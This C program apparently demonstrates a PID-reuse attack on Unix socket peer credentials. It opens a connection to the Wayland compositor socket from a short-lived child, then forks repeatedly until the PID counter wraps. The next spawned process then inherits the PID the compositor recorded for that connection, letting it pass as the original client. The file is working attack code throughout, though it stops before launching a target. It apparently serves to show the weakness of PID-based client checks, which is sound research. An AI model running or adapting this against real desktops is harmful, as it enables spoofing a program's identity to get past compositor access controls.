#include <unistd.h>
#include <stdio.h>
#include <wait.h>
#include <sys/socket.h>
#include <sys/un.h>

int main() {
	int fd = socket(AF_UNIX, SOCK_STREAM, 0);
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	// First create a PID slot to know where to stop
	pid_t slot_pid = fork();
	if (slot_pid == 0) {
		_exit(0);
	}
	waitpid(slot_pid, NULL, 0);
	printf("slot_pid = %d\n", slot_pid);

	// Create a connection inside a child
	pid_t fd_pid = fork();
	if (fd_pid == 0) {
		// On Linux, SO_PEERCRED is stashed on connect
		struct sockaddr_un addr = {
			.sun_family = AF_UNIX,
			.sun_path = "/run/user/1000/wayland-0",
		};
		if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
			perror("connect");
			_exit(1);
		}

		_exit(0);
	}
	printf("created connection with pid %d\n", fd_pid);
	waitpid(fd_pid, NULL, 0);

	// Fork until we overflow and reach slot_pid again
	// TODO: make it faster by waiting children only if fork fails
	pid_t pid = -1;
	do {
		pid = fork();
		if (pid < 0) {
			perror("fork");
			return 1;
		} else if (pid == 0) {
			_exit(0);
		}
		waitpid(pid, NULL, 0);
	} while (pid > fd_pid || pid < slot_pid);

	printf("Next spawned process will use PID %d\n", fd_pid);
	return 0;
}